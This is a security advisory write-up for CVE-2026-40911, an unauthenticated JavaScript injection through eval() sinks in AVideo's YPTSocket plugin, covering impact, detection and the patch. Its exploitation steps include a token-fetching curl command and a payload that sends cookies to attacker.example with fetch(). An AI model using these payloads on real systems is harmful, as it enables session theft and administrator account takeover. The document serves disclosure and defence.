CVE-2026-40911: 
PHP vulnerability analysis and mitigation

CVE-2026-40911 is a critical unauthenticated code injection vulnerability in WWBN AVideo's YPTSocket plugin that allows an attacker to broadcast arbitrary JavaScript to every connected user, including administrators. It affects AVideo versions 29.0 and prior. The vulnerability was published on April 21, 2026, with a patch committed on April 27, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory).

The root cause is improper control of code generation (CWE-94) arising from two eval() sinks in plugin/YPTSocket/script.js that consume attacker-controlled data relayed verbatim by the WebSocket server. The server-side onMessage handler in Message.php forwards the msg and callback fields from any connected client's JSON payload to all other connected clients without sanitization. On the client side, json.msg.autoEvalCodeOnHTML is passed directly to eval() at line 568, and json.callback is interpolated into an eval()'d code string at line 95. Critically, WebSocket tokens are issued to unauthenticated (anonymous) visitors by getWebSocket.json.php with no authentication requirement — the only check is whether the plugin is enabled — making the entire attack chain reachable without credentials (GitHub Advisory, Patch Commit).

A single unauthenticated attacker can broadcast malicious JavaScript that executes in the browser origin of every user currently connected to the AVideo instance, including administrators. This enables universal session token theft (even without reading HttpOnly cookies, since the attacker's JS runs in-origin and can call privileged API endpoints directly), account takeover, and privileged action execution such as plugin installation, user promotion, video deletion, and configuration changes. Secondary impacts include stored cross-user persistence via localStorage or IndexedDB, DOM rewriting for phishing, and financial redirection. The scope change (S:C) reflects that an unauthenticated attacker's actions cross trust boundaries into every other user's browser authorization context (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, providing step-by-step instructions including a concrete curl command to obtain a token and a Node.js WebSocket client with exact JSON payloads (GitHub Advisory). Feedly classifies the exploit confidence as high, noting it provides sufficient detail for an attacker to achieve unauthenticated remote code execution on real AVideo deployments without additional research. No authentication or special privileges are required, and attack complexity is low. The EPSS score is approximately 0.285%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of reporting (Feedly).

1. Reconnaissance: Identify internet-facing AVideo instances (version ≤ 29.0) with the YPTSocket plugin enabled using search engines or tools like Shodan. The plugin is enabled by default on most installs.
2. Obtain anonymous WebSocket token: Send an unauthenticated HTTP GET request to the token endpoint:

   curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

   The response returns {"error":false,"webSocketToken":"<TOKEN>","webSocketURL":"wss://target.example:8888/?webSocketToken=<TOKEN>&..."} — no credentials required.
3. Connect to the WebSocket server: Using the returned webSocketURL and token, establish a WebSocket connection with a Node.js client or equivalent tool.
4. Broadcast malicious payload via Sink #1 (autoEvalCodeOnHTML): Send a JSON message targeting the primary eval sink:

   {
     "webSocketToken": "<TOKEN>",
     "msg": {
       "autoEvalCodeOnHTML": "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));"
     }
   }

5. Broadcast malicious payload via Sink #2 (callback): Send a second message targeting the callback eval sink:

   {
     "webSocketToken": "<TOKEN>",
     "msg": "p",
     "callback": "alert(document.domain);window.x"
   }

6. Achieve impact: Every connected user's browser receives the broadcast. Payload #1 fires eval(json.msg.autoEvalCodeOnHTML) at script.js:568, exfiltrating cookies/session data. Payload #2 executes during typeof evaluation in the synthesized eval string at script.js:95. Any online administrator has their session compromised and arbitrary actions can be performed in their browser context (GitHub Advisory).

• Network: Unauthenticated HTTP GET requests to /plugin/YPTSocket/getWebSocket.json.php from external or unexpected IP addresses; outbound WebSocket connections from user browsers to the AVideo WebSocket port (default 8888) followed by unusual outbound HTTP requests to external attacker-controlled domains (e.g., fetch() exfiltration calls).
• Network: WebSocket frames containing JSON with keys autoEvalCodeOnHTML or callback values containing special characters (e.g., semicolons, parentheses, alert, fetch, document.cookie) originating from non-server sources.
• Logs: AVideo/web server access logs showing repeated or scripted requests to getWebSocket.json.php without session cookies or authentication headers; WebSocket server logs showing broadcast messages with autoEvalCodeOnHTML or non-identifier callback values.
• File System: Unexpected new files in the AVideo installation directory (e.g., web shells) if an attacker leveraged admin plugin upload (GHSA-v8jw-8w5p-23g3) as a follow-on step.
• Browser/Application: Unexplained admin actions (plugin installations, user role changes, configuration modifications) in AVideo audit logs coinciding with periods of active WebSocket connections (GitHub Advisory).

Apply the fix from commit c08694bf6264eb4decceb78c711baee2609b4efd, which removes the autoEvalCodeOnHTML key from browser-originated broadcast messages server-side, validates callback values against a strict JavaScript identifier regex (/^[a-zA-Z_][a-zA-Z0-9_]*$/) before relaying, and replaces the client-side eval() callback dispatch with a safe allowlist-based function lookup that also blocks native built-ins (Patch Commit). Upgrade to an AVideo version later than 29.0 that includes this commit. As an interim workaround, disable the YPTSocket plugin entirely or restrict network access to the WebSocket port (default 8888) at the firewall level to prevent unauthenticated external connections (GitHub Advisory).

The vulnerability received notable attention in the security community given its perfect CVSS 10.0 score. The Hacker Wire published a dedicated article covering the critical WebSocket RCE (The Hacker Wire). The self-hosted software community blog Elest.io highlighted it in their weekly digest as a significant event — a CVSS 10 hitting AVideo (Elest.io Blog). Discussion also appeared on Mastodon and Bluesky security feeds shortly after disclosure.